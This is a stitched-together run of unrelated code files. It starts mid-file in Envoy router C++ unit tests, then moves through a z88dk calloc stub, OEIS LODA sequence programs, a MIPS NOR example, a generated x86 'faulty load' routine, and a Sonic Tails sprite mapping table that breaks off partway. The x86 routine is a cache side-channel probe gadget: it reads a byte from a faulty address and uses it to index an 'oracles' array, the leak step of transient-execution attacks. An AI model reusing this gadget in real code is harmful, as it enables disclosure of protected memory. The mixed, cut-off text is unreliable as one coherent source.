{"x-envoy-upstream-rq-timeout-ms", "15"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "5"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(5), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-per-try-timeout-ms")); EXPECT_EQ("5", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_EQ("5m", headers.get_("grpc-timeout")); } } TEST(RouterFilterUtilityTest, FinalTimeoutSupressEnvoyHeaders) { { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, timeout()).WillOnce(Return(std::chrono::milliseconds(10))); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-rq-timeout-ms", "15"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, false); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); } } TEST(RouterFilterUtilityTest, SetUpstreamScheme) { { Upstream::MockClusterInfo cluster; Http::TestHeaderMapImpl headers; Network::MockTransportSocketFactory transport_socket_factory; EXPECT_CALL(cluster, transportSocketFactory()).WillOnce(ReturnRef(transport_socket_factory)); EXPECT_CALL(transport_socket_factory, implementsSecureTransport()).WillOnce(Return(false)); FilterUtility::setUpstreamScheme(headers, cluster); EXPECT_EQ("http", headers.get_(":scheme")); } { Upstream::MockClusterInfo cluster; Ssl::MockClientContext context; Http::TestHeaderMapImpl headers; Network::MockTransportSocketFactory transport_socket_factory; EXPECT_CALL(cluster, transportSocketFactory()).WillOnce(ReturnRef(transport_socket_factory)); EXPECT_CALL(transport_socket_factory, implementsSecureTransport()).WillOnce(Return(true)); FilterUtility::setUpstreamScheme(headers, cluster); EXPECT_EQ("https", headers.get_(":scheme")); } } TEST(RouterFilterUtilityTest, ShouldShadow) { { TestShadowPolicy policy; NiceMock<Runtime::MockLoader> runtime; EXPECT_CALL(runtime.snapshot_, featureEnabled(_, _, _, _)).Times(0); EXPECT_FALSE(FilterUtility::shouldShadow(policy, runtime, 5)); } { TestShadowPolicy policy; policy.cluster_ = "cluster"; NiceMock<Runtime::MockLoader> runtime; EXPECT_CALL(runtime.snapshot_, featureEnabled(_, _, _, _)).Times(0); EXPECT_TRUE(FilterUtility::shouldShadow(policy, runtime, 5)); } { TestShadowPolicy policy; policy.cluster_ = "cluster"; policy.runtime_key_ = "foo"; NiceMock<Runtime::MockLoader> runtime; EXPECT_CALL(runtime.snapshot_, featureEnabled("foo", 0, 5, 10000)).WillOnce(Return(false)); EXPECT_FALSE(FilterUtility::shouldShadow(policy, runtime, 5)); } { TestShadowPolicy policy; policy.cluster_ = "cluster"; policy.runtime_key_ = "foo"; NiceMock<Runtime::MockLoader> runtime; EXPECT_CALL(runtime.snapshot_, featureEnabled("foo", 0, 5, 10000)).WillOnce(Return(true)); EXPECT_TRUE(FilterUtility::shouldShadow(policy, runtime, 5)); } // Use default value instead of runtime key. { TestShadowPolicy policy; envoy::type::FractionalPercent fractional_percent; fractional_percent.set_numerator(5); fractional_percent.set_denominator(envoy::type::FractionalPercent::TEN_THOUSAND); policy.cluster_ = "cluster"; policy.runtime_key_ = "foo"; policy.default_value_ = fractional_percent; NiceMock<Runtime::MockLoader> runtime; EXPECT_CALL(runtime.snapshot_, featureEnabled("foo", Matcher<const envoy::type::FractionalPercent&>(_), 3)) .WillOnce(Return(true)); EXPECT_TRUE(FilterUtility::shouldShadow(policy, runtime, 3)); } } TEST_F(RouterTest, CanaryStatusTrue) { EXPECT_CALL(callbacks_.route_->route_entry_, timeout()) .WillOnce(Return(std::chrono::milliseconds(0))); EXPECT_CALL(callbacks_.dispatcher_, createTimer_(_)).Times(0); NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-alt-stat-name", "alt_stat"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers( new Http::TestHeaderMapImpl{{":status", "200"}, {"x-envoy-upstream-canary", "false"}, {"x-envoy-virtual-cluster", "hello"}}); ON_CALL(*cm_.conn_pool_.host_, canary()).WillByDefault(Return(true)); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_.counter("canary.upstream_rq_200") .value()); } TEST_F(RouterTest, CanaryStatusFalse) { EXPECT_CALL(callbacks_.route_->route_entry_, timeout()) .WillOnce(Return(std::chrono::milliseconds(0))); EXPECT_CALL(callbacks_.dispatcher_, createTimer_(_)).Times(0); NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-alt-stat-name", "alt_stat"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers( new Http::TestHeaderMapImpl{{":status", "200"}, {"x-envoy-upstream-canary", "false"}, {"x-envoy-virtual-cluster", "hello"}}); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); EXPECT_EQ(0U, cm_.thread_local_cluster_.cluster_.info_->stats_store_.counter("canary.upstream_rq_200") .value()); } TEST_F(RouterTest, AutoHostRewriteEnabled) { NiceMock<Http::MockStreamEncoder> encoder; std::string req_host{"foo.bar.com"}; Http::TestHeaderMapImpl incoming_headers; HttpTestUtility::addDefaultHeaders(incoming_headers); incoming_headers.Host()->value(req_host); cm_.conn_pool_.host_->hostname_ = "scooby.doo"; Http::TestHeaderMapImpl outgoing_headers; HttpTestUtility::addDefaultHeaders(outgoing_headers); outgoing_headers.Host()->value(cm_.conn_pool_.host_->hostname_); EXPECT_CALL(callbacks_.route_->route_entry_, timeout()) .WillOnce(Return(std::chrono::milliseconds(0))); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder&, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); // :authority header in the outgoing request should match the DNS name of // the selected upstream host EXPECT_CALL(encoder, encodeHeaders(HeaderMapEqualRef(&outgoing_headers), true)) .WillOnce(Invoke([&](const Http::HeaderMap&, bool) -> void { encoder.stream_.resetStream(Http::StreamResetReason::RemoteReset); })); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillOnce(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); EXPECT_CALL(callbacks_.route_->route_entry_, autoHostRewrite()).WillOnce(Return(true)); router_.decodeHeaders(incoming_headers, true); } TEST_F(RouterTest, AutoHostRewriteDisabled) { NiceMock<Http::MockStreamEncoder> encoder; std::string req_host{"foo.bar.com"}; Http::TestHeaderMapImpl incoming_headers; HttpTestUtility::addDefaultHeaders(incoming_headers); incoming_headers.Host()->value(req_host); cm_.conn_pool_.host_->hostname_ = "scooby.doo"; EXPECT_CALL(callbacks_.route_->route_entry_, timeout()) .WillOnce(Return(std::chrono::milliseconds(0))); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder&, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); // :authority header in the outgoing request should match the :authority header of // the incoming request EXPECT_CALL(encoder, encodeHeaders(HeaderMapEqualRef(&incoming_headers), true)) .WillOnce(Invoke([&](const Http::HeaderMap&, bool) -> void { encoder.stream_.resetStream(Http::StreamResetReason::RemoteReset); })); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillOnce(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); EXPECT_CALL(callbacks_.route_->route_entry_, autoHostRewrite()).WillOnce(Return(false)); router_.decodeHeaders(incoming_headers, true); } class WatermarkTest : public RouterTest { public: void sendRequest(bool header_only_request = true, bool pool_ready = true) { EXPECT_CALL(callbacks_.route_->route_entry_, timeout()) .WillOnce(Return(std::chrono::milliseconds(0))); EXPECT_CALL(callbacks_.dispatcher_, createTimer_(_)).Times(0); EXPECT_CALL(stream_, addCallbacks(_)).WillOnce(Invoke([&](Http::StreamCallbacks& callbacks) { stream_callbacks_ = &callbacks; })); EXPECT_CALL(encoder_, getStream()).WillOnce(ReturnRef(stream_)); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke( [&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder_ = &decoder; pool_callbacks_ = &callbacks; if (pool_ready) { callbacks.onPoolReady(encoder_, cm_.conn_pool_.host_); } return nullptr; })); HttpTestUtility::addDefaultHeaders(headers_); router_.decodeHeaders(headers_, header_only_request); } void sendResponse() { response_decoder_->decodeHeaders( Http::HeaderMapPtr{new Http::TestHeaderMapImpl{{":status", "200"}}}, true); } NiceMock<Http::MockStreamEncoder> encoder_; NiceMock<Http::MockStream> stream_; Http::StreamCallbacks* stream_callbacks_; Http::StreamDecoder* response_decoder_ = nullptr; Http::TestHeaderMapImpl headers_; Http::ConnectionPool::Callbacks* pool_callbacks_{nullptr}; }; TEST_F(WatermarkTest, DownstreamWatermarks) { sendRequest(); stream_callbacks_->onAboveWriteBufferHighWatermark(); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_flow_control_backed_up_total") .value()); stream_callbacks_->onBelowWriteBufferLowWatermark(); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_flow_control_drained_total") .value()); sendResponse(); } TEST_F(WatermarkTest, UpstreamWatermarks) { sendRequest(); ASSERT(callbacks_.callbacks_.begin() != callbacks_.callbacks_.end()); Envoy::Http::DownstreamWatermarkCallbacks* watermark_callbacks = *callbacks_.callbacks_.begin(); EXPECT_CALL(encoder_, getStream()).WillOnce(ReturnRef(stream_)); EXPECT_CALL(stream_, readDisable(_)); watermark_callbacks->onAboveWriteBufferHighWatermark(); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_flow_control_paused_reading_total") .value()); EXPECT_CALL(encoder_, getStream()).WillOnce(ReturnRef(stream_)); EXPECT_CALL(stream_, readDisable(_)); watermark_callbacks->onBelowWriteBufferLowWatermark(); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_flow_control_resumed_reading_total") .value()); sendResponse(); } TEST_F(WatermarkTest, FilterWatermarks) { EXPECT_CALL(callbacks_, decoderBufferLimit()).WillOnce(Return(10)); router_.setDecoderFilterCallbacks(callbacks_); // Send the headers sans-fin, and don't flag the pool as ready. sendRequest(false, false); // Send 10 bytes of body to fill the 10 byte buffer. Buffer::OwnedImpl data("1234567890"); router_.decodeData(data, false); EXPECT_EQ(0u, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_flow_control_backed_up_total") .value()); // Send one extra byte. This should cause the buffer to go over the limit and pause downstream // data. Buffer::OwnedImpl last_byte("!"); router_.decodeData(last_byte, true); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_flow_control_backed_up_total") .value()); // Now set up the downstream connection. The encoder will be given the buffered request body, // The mock invocation below drains it, and the buffer will go under the watermark limit again. EXPECT_EQ(0U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_flow_control_drained_total") .value()); EXPECT_CALL(encoder_, encodeData(_, true)) .WillOnce(Invoke([&](Buffer::Instance& data, bool) -> void { data.drain(data.length()); })); pool_callbacks_->onPoolReady(encoder_, cm_.conn_pool_.host_); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_flow_control_drained_total") .value()); sendResponse(); } // namespace Router // Same as RetryRequestNotComplete but with decodeData larger than the buffer // limit, no retry will occur. TEST_F(WatermarkTest, RetryRequestNotComplete) { EXPECT_CALL(callbacks_, decoderBufferLimit()).WillOnce(Return(10)); router_.setDecoderFilterCallbacks(callbacks_); NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillRepeatedly(Invoke( [&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamRemoteReset)); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillRepeatedly(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); Buffer::OwnedImpl data("1234567890123"); EXPECT_CALL(*router_.retry_state_, enabled()).Times(1).WillOnce(Return(true)); EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).Times(0); EXPECT_CALL(*router_.retry_state_, shouldRetryReset(_, _)).Times(0); // This will result in retry_state_ being deleted. router_.decodeData(data, false); // This should not trigger a retry as the retry state has been deleted. EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); encoder1.stream_.resetStream(Http::StreamResetReason::RemoteReset); } class RouterTestChildSpan : public RouterTestBase { public: RouterTestChildSpan() : RouterTestBase(true, false) {} }; // Make sure child spans start/inject/finish with a normal flow. TEST_F(RouterTestChildSpan, BasicFlow) { EXPECT_CALL(callbacks_.route_->route_entry_, timeout()) .WillOnce(Return(std::chrono::milliseconds(0))); EXPECT_CALL(callbacks_.dispatcher_, createTimer_(_)).Times(0); NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; Tracing::MockSpan* child_span{new Tracing::MockSpan()}; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; EXPECT_CALL(*child_span, injectContext(_)); callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); EXPECT_CALL(callbacks_.active_span_, spawnChild_(_, "router fake_cluster egress", _)) .WillOnce(Return(child_span)); EXPECT_CALL(callbacks_, tracingConfig()); EXPECT_CALL(*child_span, setTag(Tracing::Tags::get().COMPONENT, Tracing::Tags::get().PROXY)); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(*child_span, finishSpan()); response_decoder->decodeHeaders(std::move(response_headers), true); } // Make sure child spans start/inject/finish with a reset flow. TEST_F(RouterTestChildSpan, ResetFlow) { EXPECT_CALL(callbacks_.route_->route_entry_, timeout()) .WillOnce(Return(std::chrono::milliseconds(0))); EXPECT_CALL(callbacks_.dispatcher_, createTimer_(_)).Times(0); NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; Tracing::MockSpan* child_span{new Tracing::MockSpan()}; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; EXPECT_CALL(*child_span, injectContext(_)); callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); EXPECT_CALL(callbacks_.active_span_, spawnChild_(_, "router fake_cluster egress", _)) .WillOnce(Return(child_span)); EXPECT_CALL(callbacks_, tracingConfig()); EXPECT_CALL(*child_span, setTag(Tracing::Tags::get().COMPONENT, Tracing::Tags::get().PROXY)); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); response_decoder->decodeHeaders(std::move(response_headers), false); EXPECT_CALL(*child_span, finishSpan()); encoder.stream_.resetStream(Http::StreamResetReason::RemoteReset); } } // namespace Router } // namespace Envoy
; =============================================================== ; Dec 2013 ; =============================================================== ; ; void *calloc_unlocked(size_t nmemb, size_t size) ; ; Allocate nmemb * size bytes from the current thread's heap and ; initialize that memory to 0. ; ; Returns 0 if nmemb*size == 0 without indicating error. ; ; =============================================================== SECTION code_alloc_malloc PUBLIC asm_calloc_unlocked EXTERN __malloc_heap EXTERN asm_heap_calloc_unlocked asm_calloc_unlocked: ; Allocate zero-initialized memory from the thread's default heap ; without locking ; ; enter : hl = uint nmemb ; bc = uint size ; ; exit : success ; ; hl = address of allocated memory, 0 if size == 0 ; carry reset ; ; fail on insufficient memory ; ; hl = 0 ; carry set, errno = ENOMEM ; ; fail on lock acquisition ; ; hl = 0 ; carry set, errno = ENOLCK ; ; uses : af, bc, de, hl ld de,(__malloc_heap) jp asm_heap_calloc_unlocked
; A200748: Smallest number requiring n terms to be expressed as a sum of factorials. ; Submitted by Jon Maiga ; 0,1,3,5,11,17,23,47,71,95,119,239,359,479,599,719,1439,2159,2879,3599,4319,5039,10079,15119,20159,25199,30239,35279,40319,80639,120959,161279,201599,241919,282239,322559,362879,725759,1088639,1451519,1814399,2177279,2540159,2903039,3265919,3628799,7257599,10886399,14515199,18143999,21772799,25401599,29030399,32659199,36287999,39916799,79833599,119750399,159667199,199583999,239500799,279417599,319334399,359251199,399167999,439084799,479001599,958003199,1437004799,1916006399,2395007999,2874009599 mov $3,1 lpb $0 sub $0,$3 mov $2,$3 add $3,1 mul $1,$3 add $1,$2 min $3,$0 lpe mov $0,$1
; A272066: a(n) = (10^n-1)^3. ; 0,729,970299,997002999,999700029999,999970000299999,999997000002999999,999999700000029999999,999999970000000299999999,999999997000000002999999999,999999999700000000029999999999,999999999970000000000299999999999,999999999997000000000002999999999999 mov $1,10 pow $1,$0 sub $1,1 pow $1,3 mov $0,$1
.text addi $t0, $zero, 30 # 0001 1110 addi $t1, $zero, 5 # 0000 0101 # p | q | r # ---|---|--- # 0 | 0 | 1 # 0 | 1 | 0 # 1 | 0 | 0 # 1 | 1 | 0 nor $s0, $t0, $t1 # 00011110 # 00000101 # -------- # 11100000
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %rbp push %rbx push %rcx push %rdx push %rsi // Store mov $0xc2, %rcx nop nop xor $56969, %r14 movb $0x51, (%rcx) xor $64915, %rsi // Store mov $0x214f8100000004a0, %rbx nop nop nop xor %rcx, %rcx mov $0x5152535455565758, %r8 movq %r8, %xmm3 vmovups %ymm3, (%rbx) nop nop nop nop cmp $5387, %r14 // Load lea addresses_US+0x1a482, %r8 dec %rdx movb (%r8), %r14b nop nop and %rcx, %rcx // Faulty Load lea addresses_US+0x14cc2, %rdx nop nop nop nop nop sub %rbp, %rbp movb (%rdx), %r8b lea oracles, %r14 and $0xff, %r8 shlq $12, %r8 mov (%r14,%r8,1), %r8 pop %rsi pop %rdx pop %rcx pop %rbx pop %rbp pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'00': 369} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; Tails mappings Map_148EB8: dc.w word_1490AE-Map_148EB8; 0 dc.w word_1490B0-Map_148EB8; 1 dc.w word_1490CA-Map_148EB8; 2 dc.w word_1490E4-Map_148EB8; 3 dc.w word_1490F8-Map_148EB8; 4 dc.w word_149112-Map_148EB8; 5 dc.w word_14912C-Map_148EB8; 6 dc.w word_149146-Map_148EB8; 7 dc.w word_14915A-Map_148EB8; 8 dc.w word_149174-Map_148EB8; 9 dc.w word_14918E-Map_148EB8; 10 dc.w word_1491A2-Map_148EB8; 11 dc.w word_1491BC-Map_148EB8; 12 dc.w word_1491D0-Map_148EB8; 13 dc.w word_1491E4-Map_148EB8; 14 dc.w word_1491F8-Map_148EB8; 15 dc.w word_14920C-Map_148EB8; 16 dc.w word_149226-Map_148EB8; 17 dc.w word_14923A-Map_148EB8; 18 dc.w word_14924E-Map_148EB8; 19 dc.w word_149262-Map_148EB8; 20 dc.w word_149270-Map_148EB8; 21 dc.w word_149284-Map_148EB8; 22 dc.w word_149292-Map_148EB8; 23 dc.w word_1492A6-Map_148EB8; 24 dc.w word_1492B4-Map_148EB8; 25 dc.w word_1492C8-Map_148EB8; 26 dc.w word_1492E2-Map_148EB8; 27 dc.w word_1492FC-Map_148EB8; 28 dc.w word_149310-Map_148EB8; 29 dc.w word_149324-Map_148EB8; 30 dc.w word_14933E-Map_148EB8; 31 dc.w word_149352-Map_148EB8; 32 dc.w word_14936C-Map_148EB8; 33 dc.w word_149386-Map_148EB8; 34 dc.w word_1493A0-Map_148EB8; 35 dc.w word_1493BA-Map_148EB8; 36 dc.w word_1493D4-Map_148EB8; 37 dc.w word_1493EE-Map_148EB8; 38 dc.w word_149408-Map_148EB8; 39 dc.w word_149422-Map_148EB8; 40 dc.w word_14943C-Map_148EB8; 41 dc.w word_149456-Map_148EB8; 42 dc.w word_149470-Map_148EB8; 43 dc.w word_14948A-Map_148EB8; 44 dc.w word_1494A4-Map_148EB8; 45 dc.w word_1494BE-Map_148EB8; 46 dc.w word_1494D8-Map_148EB8; 47 dc.w word_1494F2-Map_148EB8; 48 dc.w word_14950C-Map_148EB8; 49 dc.w word_149514-Map_148EB8; 50 dc.w word_149522-Map_148EB8; 51 dc.w word_14952A-Map_148EB8; 52 dc.w word_149532-Map_148EB8; 53 dc.w word_149540-Map_148EB8; 54 dc.w word_14954E-Map_148EB8; 55 dc.w word_14955C-Map_148EB8; 56 dc.w word_14956A-Map_148EB8; 57 dc.w word_149578-Map_148EB8; 58 dc.w word_149586-Map_148EB8; 59 dc.w word_149594-Map_148EB8; 60 dc.w word_1495A2-Map_148EB8; 61 dc.w word_1495B0-Map_148EB8; 62 dc.w word_1495BE-Map_148EB8; 63 dc.w word_1495C6-Map_148EB8; 64 dc.w word_1495DA-Map_148EB8; 65 dc.w word_1495E2-Map_148EB8; 66 dc.w word_1495EA-Map_148EB8; 67 dc.w word_1495FE-Map_148EB8; 68 dc.w word_14960C-Map_148EB8; 69 dc.w word_14961A-Map_148EB8; 70 dc.w word_149628-Map_148EB8; 71 dc.w word_14963C-Map_148EB8; 72 dc.w word_14964A-Map_148EB8; 73 dc.w word_14965E-Map_148EB8; 74 dc.w word_14966C-Map_148EB8; 75 dc.w word_149680-Map_148EB8; 76 dc.w word_14968E-Map_148EB8; 77 dc.w word_1496A2-Map_148EB8; 78 dc.w word_1496BC-Map_148EB8; 79 dc.w word_1496D6-Map_148EB8; 80 dc.w word_1496F0-Map_148EB8; 81 dc.w word_149704-Map_148EB8; 82 dc.w word_149718-Map_148EB8; 83 dc.w word_149726-Map_148EB8; 84 dc.w word_149734-Map_148EB8; 85 dc.w word_149748-Map_148EB8; 86 dc.w word_149750-Map_148EB8; 87 dc.w word_149764-Map_148EB8; 88 dc.w word_14976C-Map_148EB8; 89 dc.w word_149774-Map_148EB8; 90 dc.w word_149788-Map_148EB8; 91 dc.w word_149790-Map_148EB8; 92 dc.w word_1497AA-Map_148EB8; 93 dc.w word_1497B2-Map_148EB8; 94 dc.w word_1497C6-Map_148EB8; 95 dc.w word_1497D4-Map_148EB8; 96 dc.w word_1497DC-Map_148EB8; 97 dc.w word_1497E4-Map_148EB8; 98 dc.w word_1497F8-Map_148EB8; 99 dc.w word_149812-Map_148EB8; 100 dc.w word_14981A-Map_148EB8; 101 dc.w word_149828-Map_148EB8; 102 dc.w word_149836-Map_148EB8; 103 dc.w word_14983E-Map_148EB8; 104 dc.w word_149846-Map_148EB8; 105 dc.w word_14985A-Map_148EB8; 106 dc.w word_14986E-Map_148EB8; 107 dc.w word_14987C-Map_148EB8; 108 dc.w word_14988A-Map_148EB8; 109 dc.w word_149898-Map_148EB8; 110 dc.w word_1498A6-Map_148EB8; 111 dc.w word_1498B4-Map_148EB8; 112 dc.w word_1498C2-Map_148EB8; 113 dc.w word_1498D0-Map_148EB8; 114 dc.w word_1498D8-Map_148EB8; 115 dc.w word_1498E6-Map_148EB8; 116 dc.w word_1498EE-Map_148EB8; 117 dc.w word_1498F6-Map_148EB8; 118 dc.w word_149904-Map_148EB8; 119 dc.w word_149912-Map_148EB8; 120 dc.w word_14992C-Map_148EB8; 121 dc.w word_149946-Map_148EB8; 122 dc.w word_149960-Map_148EB8; 123 dc.w word_14997A-Map_148EB8; 124 dc.w word_149994-Map_148EB8; 125 dc.w word_1499AE-Map_148EB8; 126 dc.w word_1499C8-Map_148EB8; 127 dc.w word_1499E2-Map_148EB8; 128 dc.w word_1499F0-Map_148EB8; 129 dc.w word_149A0A-Map_148EB8; 130 dc.w word_149A24-Map_148EB8; 131 dc.w word_149A38-Map_148EB8; 132 dc.w word_149A4C-Map_148EB8; 133 dc.w word_149A66-Map_148EB8; 134 dc.w word_149A74-Map_148EB8; 135 dc.w word_149A82-Map_148EB8; 136 dc.w word_149A90-Map_148EB8; 137 dc.w word_149A98-Map_148EB8; 138 dc.w word_149AA0-Map_148EB8; 139 dc.w word_149AAE-Map_148EB8; 140 dc.w word_149ABC-Map_148EB8; 141 dc.w word_149ACA-Map_148EB8; 142 dc.w word_149ADE-Map_148EB8; 143 dc.w word_149AF2-Map_148EB8; 144 dc.w word_149B00-Map_148EB8; 145 dc.w word_149B0E-Map_148EB8; 146 dc.w word_149B1C-Map_148EB8; 147 dc.w word_149B24-Map_148EB8; 148 dc.w word_149B38-Map_148EB8; 149 dc.w word_149B4C-Map_148EB8; 150 dc.w word_149B54-Map_148EB8; 151 dc.w word_149B5C-Map_148EB8; 152 dc.w word_149B64-Map_148EB8; 153 dc.w word_149B6C-Map_148EB8; 154 dc.w word_149B80-Map_148EB8; 155 dc.w word_149B94-Map_148EB8; 156 dc.w word_149B9C-Map_148EB8; 157 dc.w word_149BAA-Map_148EB8; 158 dc.w word_149BBE-Map_148EB8; 159 dc.w word_149BD2-Map_148EB8; 160 dc.w word_149BE0-Map_148EB8; 161 dc.w word_149BEE-Map_148EB8; 162 dc.w word_149BFC-Map_148EB8; 163 dc.w word_149C0A-Map_148EB8; 164 dc.w word_149C18-Map_148EB8; 